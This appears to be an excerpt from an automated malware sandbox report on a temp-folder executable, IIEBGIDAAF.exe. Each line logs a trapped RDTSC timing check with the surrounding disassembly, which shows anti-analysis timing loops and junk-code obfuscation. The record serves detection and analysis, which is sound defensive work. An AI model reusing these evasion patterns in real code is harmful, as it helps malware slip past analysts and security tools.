Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B783E3 second address: B78448 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F028C6C4568h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F028C6C4568h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 clc 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b mov dword ptr [ebp+122D2473h], ecx 0x00000031 pop edi 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F028C6C4568h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e push eax 0x0000004f push edx 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B287E8 second address: B287EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7CD13 second address: B7CD1D instructions: 0x00000000 rdtsc 0x00000002 je 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7CD1D second address: B7CDA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F028D150D38h 0x00000010 nop 0x00000011 sbb edi, 2B1BA624h 0x00000017 push 00000000h 0x00000019 pushad 0x0000001a or edi, dword ptr [ebp+122D2A32h] 0x00000020 sub dword ptr [ebp+122D1FE9h], edi 0x00000026 popad 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F028D150D28h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 jmp 00007F028D150D39h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jne 00007F028D150D2Ch 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7DDB4 second address: B7DDB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7DDB8 second address: B7DDC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F028D150D34h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7DDC9 second address: B7DDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B744DD second address: B744E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7FDA0 second address: B7FDA6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B80DAC second address: B80E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F028D150D28h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D2C4Eh] 0x00000029 push 00000000h 0x0000002b jmp 00007F028D150D2Eh 0x00000030 je 00007F028D150D29h 0x00000036 sbb bh, 0000006Bh 0x00000039 push 00000000h 0x0000003b mov ebx, dword ptr [ebp+122D2344h] 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push edi 0x00000045 push esi 0x00000046 pop esi 0x00000047 pop edi 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B84B83 second address: B84B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B78568 second address: B7857A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B85CC8 second address: B85CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7857A second address: B7857F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B86C70 second address: B86CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 movzx edi, dx 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F028C6C4568h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007F028C6C4568h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D25D4h], edx 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c jp 00007F028C6C4571h 0x00000052 jmp 00007F028C6C456Bh 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B86CD9 second address: B86CDE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B8B2DC second address: B8B2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B8B2E0 second address: B8B2EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B911F2 second address: B91213 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F028C6C4568h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F028C6C4572h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B91395 second address: B913A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F028D150D2Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B913A9 second address: B913AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B913AE second address: B913E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F028D150D38h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B913E0 second address: B913F1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F028C6C456Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9159C second address: B915B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F028D150D2Fh 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B915B2 second address: B915B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B915B8 second address: B915BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B96599 second address: B9659E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9659E second address: B965D9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F028D150D28h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 jno 00007F028D150D26h 0x00000018 pop eax 0x00000019 jmp 00007F028D150D35h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 jnp 00007F028D150D28h 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B966AA second address: B966B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7CF90 second address: B7CF96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7CF96 second address: B7CFA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F028C6C4566h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7CFA0 second address: B7CFA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BCED second address: B9BCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BCF1 second address: B9BD18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F028D150D2Eh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jbe 00007F028D150D26h 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BD18 second address: B9BD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F028C6C4577h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BD34 second address: B9BD49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F028D150D2Fh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BFB7 second address: B9BFBD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BFBD second address: B9BFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F028D150D39h 0x0000000c pop ebx 0x0000000d ja 00007F028D150D2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BFE6 second address: B9BFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9BFF4 second address: B9C01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F028D150D26h 0x0000000a jo 00007F028D150D26h 0x00000010 jmp 00007F028D150D39h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B7DF51 second address: B7DF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9C307 second address: B9C30C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9C30C second address: B9C341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F028C6C4566h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F028C6C4577h 0x0000001d jg 00007F028C6C4566h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B9C5E6 second address: B9C5F0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F028D150D26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B82E72 second address: B82E86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B82E86 second address: B82EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028D150D2Ch 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F028D150D2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B83DFC second address: B83EBE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F028C6C4566h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F028C6C456Ah 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+122D26DAh], edi 0x00000019 push dword ptr fs:[00000000h] 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F028C6C4568h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a movzx ebx, ax 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 ja 00007F028C6C4566h 0x0000004a mov eax, dword ptr [ebp+122D15E1h] 0x00000050 push 00000000h 0x00000052 push edx 0x00000053 call 00007F028C6C4568h 0x00000058 pop edx 0x00000059 mov dword ptr [esp+04h], edx 0x0000005d add dword ptr [esp+04h], 00000015h 0x00000065 inc edx 0x00000066 push edx 0x00000067 ret 0x00000068 pop edx 0x00000069 ret 0x0000006a jmp 00007F028C6C4576h 0x0000006f call 00007F028C6C4571h 0x00000074 pop ebx 0x00000075 push FFFFFFFFh 0x00000077 or di, 74ADh 0x0000007c jmp 00007F028C6C4574h 0x00000081 push eax 0x00000082 push esi 0x00000083 push eax 0x00000084 push edx 0x00000085 push edi 0x00000086 pop edi 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B84D32 second address: B84D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B85EF0 second address: B85EF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B86EDF second address: B86EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B87F69 second address: B87F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B82EA3 second address: B82EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B83EBE second address: B83EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B84D36 second address: B84D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B86EE4 second address: B86F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F028C6C4571h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B87F6F second address: B87F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B84D3C second address: B84D46 instructions: 0x00000000 rdtsc 0x00000002 js 00007F028C6C456Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B80F11 second address: B80F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F028D150D26h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B84E36 second address: B84E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F028C6C4566h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B80F1B second address: B80FB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F028D150D28h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push dword ptr fs:[00000000h] 0x0000002f pushad 0x00000030 mov eax, edx 0x00000032 mov esi, dword ptr [ebp+122D1881h] 0x00000038 popad 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 xor di, FF1Fh 0x00000045 movsx edi, cx 0x00000048 mov eax, dword ptr [ebp+122D097Dh] 0x0000004e mov dword ptr [ebp+122D2460h], ebx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push edx 0x00000059 call 00007F028D150D28h 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], edx 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc edx 0x0000006c push edx 0x0000006d ret 0x0000006e pop edx 0x0000006f ret 0x00000070 cld 0x00000071 push eax 0x00000072 push ebx 0x00000073 push edi 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA8AED second address: BA8B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F028C6C4574h 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F028C6C456Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA8B14 second address: BA8B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7787 second address: BA7793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F028C6C4566h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7793 second address: BA77A2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F028D150D26h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA78F8 second address: BA78FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA78FE second address: BA790C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007F028D150D26h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7DB5 second address: BA7DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F028C6C4566h 0x0000000a jo 00007F028C6C4566h 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7DCF second address: BA7DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7DD3 second address: BA7DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F028C6C4566h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F028C6C456Ah 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7DE9 second address: BA7DEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7454 second address: BA7458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA7458 second address: BA7462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B81E5E second address: B81EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F028C6C4568h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov ebx, edx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+122D2763h], edx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 movsx ebx, ax 0x00000029 mov eax, dword ptr [ebp+122D0605h] 0x0000002f sbb di, 415Bh 0x00000034 push FFFFFFFFh 0x00000036 or bh, FFFFFF95h 0x00000039 movsx edi, dx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F028C6C4576h 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: BA822C second address: BA8230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
